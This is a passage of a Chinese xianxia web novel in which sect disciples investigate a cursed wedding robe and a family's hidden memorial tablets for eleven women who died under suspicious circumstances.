不加掩饰的直白恶意惊了姜姒一瞬,她属实是没想到刚刚对着他们还恭恭敬敬的人,下一秒就能当着他们的面,说出这么恶毒的话。
小姑娘几乎是下意识地看向那黄衣少女。
她垂着眸不吭声,像是已经习惯了这种毫无理由的叱骂。
但这明明和她没关系。
姜姒第一次冷了脸。
她蹙着眉,语气生硬:
“张家主,婚事还未成,你如此对待李家三娘,是从打心眼里就瞧不起两家联姻么?”
“既如此”,姜姒起身,敷衍行了个礼,“那想必我和师兄师姐们也无甚用武之地了,我们就先行告辞了。”
张天本来没把这小姑娘当回事,想着她要走便走,只她那两个看起来道行高深的师兄留下便是。
谁料那两个大男人竟对一个女的言听计从,说走便真的要起身跟着走。
他这才慌了神。
匆忙起身拦住那气性大的姑奶奶,又是赔礼,又是跟那个赔钱货道歉,这才勉强留住了人。
擦干净鬓边渗出的冷汗,他迅速换了个话题。
提出带几位仙长去看看那古怪的喜衣。
瞥了眼那张丑陋面皮上讨好的笑,姜姒只觉眼睛疼。
看向一旁娇花般的娘子洗了洗眼睛,想着人家的终身大事耽误不得,少女忍着气,同意了张天的邀请。
直到看见那件喜衣,她才恍然,为何这张家人死活都不肯换件衣服了——
千万根鎏金丝线,数不清的坠饰明珠,构成一副凤凰于飞,翱翔九天的精致喜图,大片大片绽放在那炎红绫缎之上。
就连衣摆和裙角,也被人细细绣上了珍花奇草。
不突兀,很漂亮。
从那老头难掩自豪的语气可以听出,这应该就是张家目前能拿出的,最好的喜衣了。
姜姒被惊艳了一下,偏头看向一旁站着的李三娘。
出乎意料的,她没从那人眼中看出期待和喜爱。
与之相反——
她眼底带着很难察觉的愤怒、怨恨......和厌恶。
她在恨什么?
少女挑眉,心中一瞬划过无数猜测——
是在恨那老头嘴里一口一个的赔钱货?
是在恨自己所嫁之人懦弱无能护不住她?
还是......
恨这段完全忽略她自我意愿的,两姓联姻?
20. 020
没等姜姒进一步观察,李三娘就垂了眉眼。
浓密纤长的羽睫轻颤,像是振翅欲飞的蝶,挣扎着逃出这方天地。
看出对方此刻浓烈的排斥和不适,少女收回视线,抿了抿唇,加快了手上检查的速度。
不出意外,几人并未发现喜衣上存在什么异常。
回房途中,看着一脸欲言又止的江年,小姑娘眸光微动,瞥了眼前方带路的丫鬟,确认对方规规矩矩低着头,并未注意这边,便单手掐诀,传音给了自家师姐:
“师姐,可是发现了什么不妥之处?”
得到肯定回答后,江年又给她比了个口型,示意人多耳杂,回屋再说。
少女了然点头,心思却已活络起来。
等到关好屋门,布下隔音,一切确认妥当后,江年才斟酌着开口:
“其实......我也不是很确定,只是觉得相像罢了。”
“什么相像?”,姜姒蹙眉托腮,“我和师兄们翻来覆去查了好几遍,都没看出那喜衣上有什么妖力怨气,亦或是阵法残留。”
“不是后天外力所致。”
江年摇头,从怀中摸出她一直不离身的黑色阵法盘,示意几人细看——平时被压制得很好的阵法盘此时盘身正微微颤动,像是被什么吸引住了,兴奋得很。
“是那件喜衣自带的刺绣。”
少女语气带着前所未有的郑重:“我觉得,它和我之前见过的一个上古残阵很像。”
“江家是阵法世家,祖父去世前,曾留给我一本手札,里面记录了许多上古杀阵和困阵。那喜衣上绕着凤凰的金线刺绣,若是细看,很像手札里记载过的锁魂阵,只是不完整,带着点残缺。”
像是怕几人不信,江年顿了下就要去储物袋里翻找那本手札。
但她急着伸出的手,却被姜姒轻轻挡了回去。
小姑娘佯装生气,两指掐住少女腮边软肉,趁着一向清冷的人呆住的瞬间,挑眉‘威胁’:
“跟我们还这样疏离,师姐是把我们当外人了?”
一系列架子看着唬人。
实则动作小心,语调也软和得很。
江年抬眸,正撞进上方那人带着笑意的眼底。
灵动、狡黠,没有故作的怜悯,黑亮瞳孔里,只映着她一人。
很多年都淡着眉眼,没怎么笑过的少女,此刻——
兀地轻笑出声。
“没有”,江年偏头敛目,却很诚实地握住了那只作乱的手,捏了捏,“怎会把你当外人。”
“不过下次不许这样了。”
“没大没小。”
“是”,姜姒乖乖笑着,点头应下,“那就劳烦师姐继续说说这个锁魂阵啦。”
扫过一旁脸黑沉默的自家师兄弟,江年挑眉,应了声好。
“锁魂阵乃上古困阵之一,是种极阴邪的法阵,它不困肉身,只困神魂。”
“若是修士还好,神魂强大,尚且撑得住些时日,但若是凡人......只怕凶多吉少,非魂飞魄散,不得出阵。”
“竟这么厉害?”,季长青半信半疑,“既是上古阵法,又怎会出现在这小小一个青禾镇?”
“所以我才说这法阵残缺不全。”
江年抬起眼皮,看向众人:“但残阵也不容小觑,虽说困不住修士,但困杀几个凡人,还是绰绰有余的。”
“师姐的意思是,张府里有人设下阵法,残害新娘?”
姜姒抱臂皱眉:“但若是单针对新娘一人,为何张家二郎试穿喜服时也会喊疼?”
“难不成,他故意装的?”
“也不是没有这个可能。”
郁清忽地开口,漆黑瞳孔紧紧盯着朝他看来的莹润双眸:“今日检查喜衣时,我观那李三娘,眼神不对。”
“戾气太重,好似怀着某种恨意。”
“你也发现了?!”
小姑娘有些惊喜,声音里噙着三分笑意七分自得,“我就知道!郁师兄和我一样,都是观察入微之人。”
她高兴抬手,想着拍拍自家师兄的肩以示赞同,半途中才发现自己身高不够,得踮脚才能够着人家。
粉白指尖僵硬一瞬,蜷了蜷,本想往回缩,却忽得被人一把捉住。
“啧。”
少年弯腰沉脸,拉着姜姒手掌就往自己肩上放:“知道就行。”
“还不至于太蠢。”
他语气生硬,带着一贯的嘲弄阴阳,姜姒这次却没生气。
她看稀奇一样盯着对方早已暴露的绯红耳尖,和细看之下明显飘忽的眼神。
拉着她的掌心很热,和郁清拒人于千里之外的冷淡外表反差极大。
她忽得就有些想笑——
原来没黑化时期的男主是个口是心非的傲娇怪啊。
因为从小没经历过正常的情感表达,想和师妹亲近亲近,都只能故意说着反话。
嘴上拒绝的凶巴巴,身体却意外诚实。
姜姒越想,越觉得郁清是个情感缺失、不善言辞的孤独小可怜。
她内心感慨,反手握住对方手掌,用力拍了拍,声音不自觉就放轻了几分,怜爱非常:
“师兄说得是。”
“师妹下次会争取做的更好,努力向师兄你看齐!”
其实只想故意撩拨好让人多瞪几眼自己的郁清:......?
为什么她不生气?
是已经不在意他了,所以无所谓他说什么了么?
少年垂眸,平直长睫根根分明,在眼下覆上一小段阴影,冷白面皮上朱红小痣一衬,显得他有种破碎的氤氲美感。
他还没酝酿出说什么,姜姒就已经收回手,转头望向了一旁两人:
“张家这事明显古怪,张天也是一副遮遮掩掩的模样,既如此,不如我们分头行动,自行探查,说不定还能找出些有用的东西。”
她提议,江年和季长青自是没什么异议。
姜姒这人,虽说修为境界不是最强的,但要是论起什么鬼点子骚操作,另外三人肯定是远远不敌她的。
感受到自家师兄师姐无言的支持,少女满意点头,开始分配起了今夜的任务:
“我和郁师兄都是剑修,主输出,江师姐和季师兄一个布阵一个炼丹,负责后勤辅助,我们四人两两配队。”
她说着,几步上前挽住了江年的胳膊,弯眸笑道:“刚好我和师姐一起,季师兄就和郁师兄搭个伙。”
“可行?”
除了眉梢眼角皆是欢愉春风的江年,季长青和郁清其
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实都不太行。
特别是郁清。
他从小到大都是一个人,不习惯和除姜姒以外的人一起完成任务。
要说姜姒也还是开局占了个毛茸茸的身份,否则这会儿也很难近他的身。
不是他矫情,只是这么多年的本能反应而已。
毕竟换谁承受了太多莫名恶意之后,下意识都会抵触生人靠近。
蹙眉拒绝的话已经到了嘴边,看到对面少女杏眼里暗戳戳的期待后,郁清又给它硬生生咽了回去。
只眼不见心不烦似的,垂眸胡乱应了声‘嗯’。
季长青见状,眉心狠狠跳了跳,却也没多说什么,跟着点了头。
“那行!”
小姑娘声音里噙着点跃跃欲试和夜探张府的兴奋,大手一挥拍板道:
“我和师姐负责去找那个李三娘问问情况,师兄们就负责探查府里是否有其他力量波动,比如妖气什么的。”
“对了”,像是想起什么,姜姒又嘱咐道,“要是有除我们之外的灵力波动,也别错过哦。”
说着,她从储物袋里摸出一个精致小巧的四方罗盘递给了郁清,解释完用法后拉着江年便先行离开了。
只剩下男主和反派面面相觑。
“走吧”,大反派无奈挑眉,“总不能让小师妹第一次任务就失败吧。”
带着剑茧的粗砺指腹缓缓摩挲了下仍有余温的罗盘,少年掀起眼皮,看都没看搭档一眼,自顾自出了门。
被无视了个彻底的人也不生气,嗤笑一声,慢悠悠跟了上去。
*
张家人好像安置得都很早。
姜姒拉着江年一路走到主院时,整个府内都只零星剩下了两三灯火,她瞥过几眼,还都是伺候主家的下人房。
“阿姒,阿姒?”
见她出神,江年轻声唤她。
“嗯?”少女回神,偏头望进那双盛满担忧的眼底,“怎么了?”
细细端详她的面色,确认她只是走神并无大碍后,江年舒了口气,皱眉问道:
“我们与那李三娘只有过匆匆一面之缘,你怎知她的住处?”
“这就不劳师姐担心了”,小姑娘拍拍胸脯,眨了下眼,“我见她第一面就给她悄悄贴了张隐形追踪符,方圆百里之内,她的行踪我都一清二楚,更何况一个小小张府?”
“原是如此。”
见猫猫翘起尾巴仰着脑袋求夸的模样,江年笑着捧眼,“还是师妹有先见之明。”
被顺毛的姜姒爽了。
拉着江年就是一通自信的七弯八拐。
直到越走越偏,最后抵达一个毫不起眼,甚至有点破旧的庭院前。
瑟瑟晚风吹过,树上的枯叶打着旋儿落到了小姑娘头顶。
嘲笑。
无声的嘲笑。
少女第一次怀疑是不是宗门发的符纸出了问题,不然怎么解释张家的未来主母会住在这种甚至连下人房都不如的破地方?
倒宁愿是符纸出了错。
不然......
姜姒冷了眉眼,搂住自家师姐的腰,细声叮嘱抱好后,足尖点地,轻松翻过了那道矮墙。
事实证明——
乾坤宗发的东西,都还蛮有保障的。
21. 021
追踪符并未定错地方,李三娘就住在这儿。
她们落地时的声音很轻,却还是惊动了屋内一直警觉着的人。
“谁?!”
紧闭的木门被拉开一条缝,傍晚时分还穿着鹅黄曳地长裙的少女此时一身粗布短打,珠钗尽卸,满头乌发只用一根墨绿发带束了个利落马尾。
她眼神凌厉、姿态防备,双手紧紧握着一根结实木棍。
那棍子粗得很,棍身上还带着些长短不一的尖刺。
见着是姜姒二人,少女眼中的警惕散了几分,她把手中木棍一扔,狐疑问道:
“两位仙长是如何找到这儿来的?”
“若没记错,我们之间应是只有匆匆一面之缘。”
怕被人家误会意图不轨,小姑娘直接把手中灵符递了过去,实话实说后又好声好气解释道:
“深夜叨扰,实属无奈。三娘应该知道的,第一次见面时人多眼杂,很多问题不当面讲,也是为了避免打草惊蛇。”
少女了然挑眉,手中溢散灵气的黄符被她翻来覆去地仔细端详。
姜姒眼尖,没错过那双琥珀瞳孔里迅速划过的羡慕和向往。
小姑娘心头一颤——
她,也想修仙么?
姜姒抿了抿唇,刚想出声,李三娘就抬了头,把手中反复摩挲的符纸递了回来。
动作干净利落,似是毫不留恋。
“好了,我相信你们。”
她侧身让路,偏头示意,“进去吧,坐着说。我这里也不是完全隐蔽的。”
等到二人进屋,李三娘敏锐环视一圈,确认再没第三人的存在,轻轻关了门。
坐下后,她斟了两杯茶推到二人面前,单手托腮,有些漫不经心地开口:“说吧仙长,有什么问题找我?”
“你......”,姜姒斟酌着用词,“你不是很喜欢那件喜衣吧。”
她明明说的问句,语气却是肯定的。
“你怎么知道?”
少女瞬间冷了神色,“张麟那个废物告诉你的?”
果然如此。
小姑娘心中有了把握,说话间便带上了三分胡编乱造,她演都懒得演,信口敷衍道:“我是仙长嘛,我算出来的。”
李三娘:......
她只是年纪小,又不是脑子蠢。
许是看姜姒江年都一脸好人模样,也许是凡人对修仙者先天的依赖信服,少女压制住翻白眼的欲望,略微颔首,算是承认了。
“为何?”
江年是真的不解,李三娘不过一介凡人,自是看不出那衣裙上残存的法阵。
“我听闻,凡间女子都很珍视自己的大喜日子,会裁剪最漂亮的红布做嫁衣,那件嫁衣很漂亮也很珍贵,你不喜欢吗?”
“不喜欢。”
像是怕对方听不清,李三娘又重复了遍,一字一顿:“不管那嫁衣有多漂亮,我都不、喜、欢。”
她声音逐渐尖利,却在最后一句时,忽然变得轻如浮雪。
“就是因为穿上了嫁衣,才害得我姐姐被那群渣滓名正言顺困在这张府日日磋磨!”
“深宅里不见天日,人人勾心斗角相互残害,至死,不得离。”
少女眼尾染上薄红,她看着姜姒的眼睛,声声泣血:
“仙长,你有灵脉,你是天才,你能随着心意决定自己的去留......所以你注定无法明白,如今世道,凡间女子若是穿上那身嫁衣,就再也没办法脱下来了。”
“她们会是恭顺的贤妻,是温和的良母,是千千万万种被期望的样子。”
“但唯独不会是她自己。”
像是想起了伤心事,李三娘仰头,轻轻盖住了眼睛。
“毕竟,我长姐就是这样的。”
“其实她还未出阁前,是个好动的性子,会带着我和二姐一起出门踏青泛舟。她擅投壶,也擅骑马射箭,蹴鞠也踢得不错。”
少女回忆着,忽得笑了下。
“这么看,我阿姐还是蛮多才多艺的嘛。”
“只可惜......”,她笑容逐渐变冷,“后来那张大郎上门提亲时,说喜欢温婉娴静的女子,左邻右舍的那些长舌妇也天天编排我阿姐不学好,说她尽学些不中用的东西。”
“我爹那个老匹夫,又是个好面子的,渐渐的,他就不让我阿姐出门了,日日拘着她绣花,逼着她看女则女训,专门请什么姑婆教她相夫教子。”
“长姐刚开始反抗得激烈,说什么也不愿嫁过去,罚她跪祠堂也好,请家法也罢,被打得奄奄一息了也没服过一句软。”
“后来......”
说到这儿,她忽得停住,冷不丁扇了自己一个巴掌。
又快又重。
嫩白脸颊上迅速浮出鲜红掌印。
姜姒吓了一跳,反应过来后掏出药膏就要给人抹上。
李三娘却避开了。
她嗓音低沉,像是蒙着层灰。
“都怪我。”
少女紧攥着手,指骨因太过用力而泛起青白。
长睫被泪沾湿,一簇一簇的,显得无助又可怜。
“都怪我都怪我都怪我!”
从第一面就开始佯装冷静成熟的人终于崩溃了。
她捂着脸,泪水从指缝间流出。
“因着我二姐也已许了人家,那个老不死的就用我来威胁我长姐,说她若不肯嫁也没关系,张家那边表过态了,婚约不变,换成我也一样没差。”
“我那时不过十三,还没及笄。根本就不能嫁人,那张家却不挑,甚至还喜闻乐见,明显就是那张大郎有什么不为人知的怪癖。”
“阿姐、阿姐为了我,只能屈服妥协。”
张三娘断断续续说完,早已泣不成声。
姜姒这才反应过来,自己一直三娘三娘叫着的少女,如今也不过刚刚及笄而已,甚至比他们一行人还要小些。
姜姒叹了口气,几步上前把人抱在怀里。
修长手指理了理对方散乱的鬓发,她语气郑重:
“不怪你,不怪你。”
“要怪就怪这张家人,从上到下没一个正常玩意儿。”
“你先告诉我,你嫁给张家二郎这事,是自愿的吗?”
“嗯。”
刚刚还哭得上气不接下气的人抬了头,眼皮微微红肿。
一双漂亮桃花眼在泪水冲刷后显得愈发澄澈,昏暗烛光下,有种琉璃般剔透婉转的美。
“不过我是为了我阿姐病逝的真相。”
“长姐卧病在床时,张家人拦着不让我见她,我那时就觉得蹊跷,若阿姐真的只是操劳过度积郁成疾,为何这帮人要遮着掩着,看都不让我看一眼?”
“而且长姐出嫁前身体康健,就算不慎得了什么病,也不至于短短两月就无药可医撒手人寰,定是这张家人从中作梗,害了我阿姐性命。”
“那你进入张府这半月,可有发现什么异常?”
帮少女重新系好发带后,江年后退几步,冷静发问。
“比如......张家大郎真的死了么?”
“什么意思?!”
李三娘猛地抬头,恨意难掩:“你是说,那个畜生可能根本没死?!”
“猜测而已。”
“我只是觉得奇怪”,江年抱臂歪头,“毕竟张家这颗大树能在青禾镇盘踞这么多年,根深蒂固又枝繁叶茂,不说别的,子孙一定不全是
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无能之辈。”
“这样的家族,为何偏偏推出一个张天暂代家主之位?”
的确。
姜姒皱眉,一想到那张干瘪丑陋的脸和那人阴冷的眼神,她就浑身不适,只觉怪异。
“而且我观府内下人对他的敬畏程度,他也不像是傀儡,应是个手握实权的人物。”
“这......”
李三娘有些犹疑,她垂眸深思片刻,开口道:“仙长说的也有几分道理,当初婚宴时,张家的确不少风流人物,其中也不乏才俊之辈。”
“既如此,那我明日和张麟请安时仔细留意一番,若有异常,定会及时禀报二位仙长。”
说完,少女起身双手交叠,垂首敛目,深深俯拜一礼。
“多谢仙长出手相助,三娘在此,先行谢过了。”
拜完后她仍觉不够,弯了膝盖就想再行大礼。
姜姒吓得几步上前,伸手托住她纤细腰肢把人扶正,随即开始苦口婆心:
“莫说男儿膝下有黄金,咱们女子也是万般尊贵的。”
“以后别随随便便就给人下跪了,再说我们这种修道之人,修的就是个无愧于心......”
她絮絮叨叨,温声叮嘱。
李三娘恍惚间,好像看到了幼时阿姐的影子,也是这般细心温柔,有点啰嗦。
但一点也不烦人。
就在姜姒长篇大论结束的下一秒,怀中的传音符忽然发出一阵灼人的热意。
季长青的声音从中传出,不复以往的散漫轻佻,带着说不出的严肃凝重:
“姜师妹,我们这边发现了很重要的东西。”
“我觉得......你们应该过来看看。”
“对了,别忘记带上李三娘。”
“毕竟这边——”
“好像有她姐姐的牌位。”
*
不得不说,大佬给的东西就是好用。
那个罗盘看着平平无奇,实则灵敏得很,二人经过一处偏僻拐角时,原本一动不动的指针忽然开始疯狂旋转。
墨黑和银白两根指针重合,一齐指向了墙角的方向。
“灵力和怨气?”
季长青挑眉,“这怎会出现在同一个地方。”
“不知。”
郁清面无表情回了句,右手已然抚上腰间长剑。
他瞥了眼身旁人,语气淡淡:“跟上。”
说完,也没看季长青的反应,径直走了过去。
二人来到灰墙面前,郁清伸手敲了敲,随即敛息闭目,不过片刻,少年睁眼,笃定道:
“里面有暗间。”
“找找机关在哪儿。”
季长青也没多问他为何这么熟练,只并起两指,学着他的模样查看一块块墙砖。
约莫半刻钟左右,郁清低声道了句‘找到了’。
按下机关后,一道半圆状的暗口出现在了墙壁上。
看着肖似狗洞的入口,郁清顿了下,偏头示意。
“师兄先行,师弟垫后。”
第一次被喊师兄喊得浑身不适的少年咬了咬牙。
为了那只蠢猫的下山任务......他忍。
等到二人从那暗道里艰难爬出时,季长青刚想松口气,一抬眼,对上了一排供着幽幽明灯,黑底红字的长生牌位。
季长青:“......”
果然跟身旁那个讨厌的家伙组队一定会不幸吧。
郁清倒是反应很快。
他迅速扫了眼牌位之上刻的姓名,发现共同点后,漆黑瞳孔里飞速划过一丝厌恶:
“快传音给姜姒她们。”
“这里供的,都是张家人妻女的牌位。”
22. 022
十一个。
足足有十一个长生牌位。
黑底红字静默无言,像是她们被堵上的嘴,被锢住的魂。
只能挣扎着流下血泪,拼命证明自己存在过的痕迹。
细白手指颤抖着,隔空抚过每一个名字。
“王氏、李氏、程氏......”
姜姒攥着手,泛着白的指骨被用力挤压,发出不堪重负的嘎吱声。
“简直畜生不如。”
一向冷静的江年第一次渴望暴力发泄,黑色阵盘通她心意,悬空转得飞快。
“短短两年时间死了这么多人,说是巧合?谁信!”
“的确有问题。”
季长青转头望向姜姒,补充道:“刚才在传音符里来不及说,我和郁师弟发现这个地方竟同时存在过怨气和灵力。”
“枉死之人执念深重,产生怨气很正常。”
“怪就怪在这个地方还有过灵力波动,而且能被罗盘感知到,那就必定是三天以内的。”
“师兄的意思是,这里可能还关着我们的同门道友?但......”
没等小姑娘发出质疑,供着牌位的案桌底下忽得传来一声闷响,像是□□重重砸地的声音。
姜姒:“......”
怎会如此。
心中吐槽归吐槽,她身体还是诚实弯腰,开始任劳任怨地检查地面。
许是幕后黑手根本就没觉得有人能找到这个地方来,设置的机关都简陋敷衍得很,小姑娘随便摸了几下就找到一处明显的裂缝。
用剑撬开后,一道蜿蜒曲折的石梯出现在了众人面前。
四人对视一眼,季长青打头,郁清垫后。
同为女子,江年姜姒走中间,负责护好李三娘。
一行人准备好后,便沿着石梯下去了。
那石梯上的石阶修得又窄又陡,也不知是不是因为经常没人走的缘故,有的台阶甚至还残留着小石子。
就等着哪个倒霉蛋一脚踩上去。
很不巧——
姜姒就是这样一个倒霉蛋。
就在她踩到不知名石子,下一秒就要一脚滑铲踢倒前面的李家三娘时。
一条手臂从后方迅速伸出,紧紧勾住她的腰身,捞了她一把。
顺着力道,姜姒踉跄着撞进身后人的怀里。
少年闷哼一声,却没松手,只顺势垂首凑到她耳畔,继续用他那阴阳怪气的语调嘲弄道:
“走个石梯都能摔。”
“笨死了。”
温热鼻息洒在敏感耳尖上,心脏失重的感觉逼得姜姒无力反驳。
她本来想好好道句谢的,现在只能偏头,顺便怼给身后那人毫不留情的一肘击。
果不其然,郁清老实了。
报复回去的姜姒也爽了。
插曲过后,另外三人一路上愈发小心翼翼,生怕成为下一个倒霉蛋。
不过好在一切顺利。
正当姜姒想着还要多久才能到时,一道清亮少年音兀的响起,带着三分不可置信和七分义愤填膺:
“小和尚,你是说......你见到的那些冤魂,其实都是曾近被张麒这人模狗样的玩意儿给磋磨害死的?!”
“嗯。”
被称为小和尚的那人淡淡开口,声音带着股让人信服的沉稳:“出家人不打诳语,那位张施主,的的确确,所行非人。”
“我的天,你说话简直太温和了,要我说,那老匹夫简直就该千刀万剐顺便下下油锅,话说他这样的人死后还能转世投胎么,还有还有......”
“谁在哪儿?!”
正絮叨得起劲儿的少年忽地转头,一双眼睛敏锐锁定了他们的方向,厉呵出声:
“滚出来!”
“道友稍安勿躁。”
季长青出声安抚,“我们是乾坤宗弟子,有随身玉牌可证明身份,并无恶意。”
“乾坤宗?!”,底下那人又惊又喜,“待在这鬼地方这么久,终于让我等到道友了!你们是不知道......”
“等等”,少年尾音一转,隐隐有些崩溃,“你们不会也是被坑进来的吧?”
“并非”,季长青迅速否认,“我们是听到响动声才寻来的。”
“这样啊”,那人憨憨一笑,重新恢复积极心态,“那你们快下来,帮我俩解个绳子!”
众人闻言加快脚步,不一会儿,姜姒就得以见到了底下两位难兄难弟的真容。
挣扎着向他们蹦过来的少年英气俊朗,剑眉入鬓。
许是刚在地上滚过,贴身长袍上沾了些许灰尘,还破了好几个小洞,却也难掩这人身姿挺拔,根骨优越。
一旁盘腿坐着的是个身披袈裟的光头小和尚,他眉骨很高,鼻梁挺直,淡色薄唇紧抿,看着是个安静性子。
即使是被困着,他身上僧袍也是干干净净一尘不染。
配上那眉心一抹朱砂痣,到真像是个金樽佛像。
小姑娘观察的空隙,少年已经蹦了过来,而季长青和江年也已帮他解了绳子。
那人揉了揉手腕,终于想起了自我介绍:
“各位道友好啊,在下林尽柒,是个闲散刀修,目前刚刚结丹。游历途中偶然经过青禾镇,本想着帮帮忙,结果一时不察,被人坑到了这鬼地方。”
他话音刚落,地上坐着那人也站了起来,双手合十,施施然行了个礼:
“小僧梵天寺尘一,幸会各位施主。”
“林尽柒?尘一?”
季长青挑眉,面色变得古怪。
“怎么了”,姜姒好奇发问,“师兄认识?”
“......算认识吧”,他含糊点头,末了瞥了眼一旁的江年,“毕竟都是修真世家的。”
见自家师弟师妹都一脸茫然,季长青认命扶额,开始介绍:
“林尽柒,林家独子;尘一师父,梵天寺上一任长老钦点的佛子。”
他这么说,姜姒算是有了点印象。
原文男主中后期被定义为天生邪骨,几乎是人人唾之,被大部分修士追着灭杀。
修真界里唯有极少数人选择保持中立,面对逃亡中的男主睁一只眼闭一只眼。
林尽柒和尘一,便是那极少数之一。
特别是林尽柒,姜姒对他印象深刻,毕竟后期有一次,他还帮男主挡了波追杀。
那少年被点破身份也不甚在意,只随意摆了摆手,而后看向季长青,问道:
“我们俩是好心帮忙遭了无妄之灾,你们呢,怎么来到这鬼地方的,我记得......青禾镇好像不在乾坤宗的管辖区域内?”
“是我领到的下山任务。”
没等季长青组织好语言,姜姒先一步站了出来,她看着林尽柒的眼睛,语气郑重,言辞恳切:
“这个任务当初判定时只有丙级,但经过我们的调查,这事儿远不止这么简单,所以想请二位道友帮个忙,把搜集到的消息分享出来。”
“毕竟——”
她又偏头看向一旁的尘一。
“二位也知道,这事涉及到数十名无辜女子枉死。”
“小事”,林尽柒扬了眉眼,很识趣地没有多问人家的任务内容,“而且我也挺想收拾收拾那个叫张麒的。”
他笑着拍了拍尘一的肩。
“毕竟尘兄也说过,渣滓就该待到自己该待的地方,不该出来祸乱人间。”
尘一也没反驳,他双手合十,低声念了句‘阿弥陀佛’。
林尽柒也不耽误,盘腿坐下就开始回忆。
“是这样的——”
“我当时不是到处游历嘛,刚好经过这个镇子,在茶馆坐着喝茶时就听到领桌有人讨论这张李两家结亲的怪事,我那时还想着会不会是恶妖作祟。”
“后来等我上了张家门,自报身份后准备帮他们解决这事,那张家家主张麒一开始答应得好好的,后来我想进一步调查时却对我各种阻挠。”
“我那时就觉得他有异常了。”
“等等”,姜姒蹙眉问道,“张家家主张麒?”
“敢问林道友,你是几时来的青禾镇——”
“约莫三天之前的傍晚吧。”
“怎么了?”
“你当时见到的那个张家主,可是仪表堂堂,身材高大,有长寿之相?”
“这倒不是。”
少年答得笃定,“是个相貌中等偏下,有些佝偻的中年男人。”
“怎会如此?”
李三娘皱眉,“张麒不是早就死了么?”
“三娘,你是什么时候搬到张府来的?”
“约莫是十五天前吧。”
少女思绪有些混乱,“但我记得那时候张麒就已经不行了,我还被要求待在房中为他祈福。”
重重疑点向姜姒涌来,她闭着眼细细梳理。
“林道友,你说你当时就觉得张家主身上有问题,敢问,是何异常?”
“哦”,被点名的林尽柒接过话头,“是我当时在他身上发现了被反噬过的痕迹。”
“被何物反噬?”
“怨气。”
“谁的怨气?”
小姑娘追问。
“是十一个女子冤魂,形成的怨
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气。”
关键节点找到,姜姒只觉思路豁然开朗。
眼前的谜云被拨开,少女长舒了一口气。
“我想,我大概知道怎么回事儿了。”
“不过,还需小小验证一下。”
*
次日清晨,姜姒几人跟着李三娘去给张天请安。
没等三娘下跪磕头,小姑娘就一把拉住了人,顺便直奔主题:
“张家主,问题我们已经开始着手解决了,只待明日黄昏,便可照常举行结亲仪式。”
“这么快?”
张天满眼写着狐疑。
“不会是几位仙长看我老了,以为我头脑不清醒,想着糊弄敷衍我吧?”
姜姒笑眯眯地把挂在腰间的逢惊春出了个鞘,凛冽剑光不偏不倚反射到了张天身上,晃得他眼睛一花。
小姑娘声音噙着笑意,语调温柔:
“家主刚才说什么?我没听清,可否再说一遍?”
张天不吭声了。
胸膛被气得起起伏伏。
他从未见过这般嚣张顽劣的女子,如此凶蛮,就算是再怎么如花似玉娇媚动人,哪家好男儿敢要?
怕是上赶着给人做妾都要遭人嫌!
他心里这般想着,面上却不敢表露半分,只能窝窝囊囊陪笑应是。
姜姒才懒得管那丑东西怎样想。
她高高兴兴挽起一旁少女的胳膊就转身出了门。
张天眼神瞬间变得阴冷,他转了转手上的白玉扳指,盯着离开的李三娘,嘴角扯出一抹嗤笑来。
和她姐一样的小贱人。
以为有了靠山就翅膀硬了?等最后结了亲,还不是要卖给他们张家男人。
再忍忍,再忍忍,等她嫁过来就好了,嫁过来就好了......
*
把三娘安顿在房内,拜托江年和季长青照看后,姜姒和郁清出了府门。
青禾镇的早市还是蛮热闹的,小姑娘找了个客多的摊子,买了两碗馄饨汤,还特意给自己那份加了个蛋。
郁清坐在她对面,看着她皱着脸有一搭没一搭地吃两口,鸡蛋也是咬了一口就放在旁边不动了。
娇气,矜贵,还挑食。
是只难养的猫猫。
少年面无表情吃完自己这份几乎没什么味道的馄饨汤,长臂一伸,把姜姒那碗连蛋带馄饨拿了过来,在小姑娘爆发前,递了个储物袋过去。
姜姒冲天的火气在从储物袋里掏出第一份精致桃花酥时就蔫巴巴灭了一半。
掏出第二份小餐食时嘴角笑意更是压都压不住。
酥饼的甜意化在舌尖,小姑娘幸福地眯了眯眼,眼尾上翘,像只餍足的猫咪。
见她满足模样,郁清垂眸,眼底划过笑意。
但没关系。
他会学着怎么养好这只小猫。
再次看向自己的早饭恩人时,姜姒夹着嗓子开始撒娇:“感谢师兄救我于水火!我就知道师兄你最好了!”
少年没理她,只自顾自吃馄饨。
小姑娘也不觉得热脸贴了冷屁股。
反正她这次出来的目的也不是为了吃早餐。
他们旁边一桌坐着的是几个大约四五十岁的女人,现下吃了馄饨喝了汤,见时辰还早,便坐在一起唠闲话拉家常。
其中有人提到了张李两家结亲的事,讨论着什么时候去蹭蹭喜宴喝喝喜酒。
“你们说,咱们镇上应该不会有比这两家更豪横的了吧,我当初蹭着去了张家大郎和李家长女的喜宴,那可真真是十里红妆,煞羡旁人啊。”
“哎,你们说这二郎和三娘的婚事咋还没定下呢?是出了啥事么?”
几人众说纷纭,一件事说了七八个不同的版本。
有人说是那李三娘水性杨花,勾搭了好几个男人,张二郎知道后恼羞成怒要退婚。
也有人说是李三娘攀上别镇的高枝,瞧不上青禾镇了,要和张二郎退婚后跟情郎远走高飞。
姜姒越听越不对劲。
怎么这一圈听下来,都是李三娘身上的问题,怎么没人说说那张二郎呢?
她正要插话,却听一人高声否定了前面所有说法,随即神神秘秘开口:
“你们都错了!不是这样的!”
“这事儿啊,其实就是个襄王有意,神女无情。”
小姑娘惊喜抬眸,想着终于有个像样的说法了。
却见其他人听了后纷纷摇头,表示不可能。
“人家张二郎多优秀!”
“李家姑娘怎么可能瞧不上,讲实在话,她李三娘还算高攀呢!”
23. 023 “将功抵过?
“真是一群蠢妇,蠢妇!”
苏凤霞挤出人群,边清点着竹篮里采买的东西,边忍不住拧眉嘀咕,自言自语。
“都巴望着自家女儿能嫁进那高门大户,全家人好跟着一道鸡犬升天。”
“偏生自己也没什么本事,便只知一味诋毁人李家姑娘,好像只要人家姑娘名声烂了,这天赐的好姻缘便能轮到自己家似的。”
“明明三娘是个多好的姑娘......”
“唉——”
再多不满终归只能化为一声叹息。
人心中自有成见,就算她今日磨破这张嘴皮子,说得声泪俱下情真意切,该不信的人,还是不会信的。
苏凤霞微微摇头,反复确认主家要的东西都买全后,转身便要离开这个馄饨铺子。
谁料刚走没几步,肩膀就被人从后面轻拍了拍。
她疑惑回头,一个仙人模样的漂亮少女正笑眯眯地望着她。
杏眼弯弯,颊边酒窝若隐若现,看起来又乖又甜。
和她一年前失踪的女儿苏晚,很像。
所以当对方拉着她手腕,避开人群,往偏僻地方去时,她也没怎么反抗,嘴角甚至还挂着笑意。
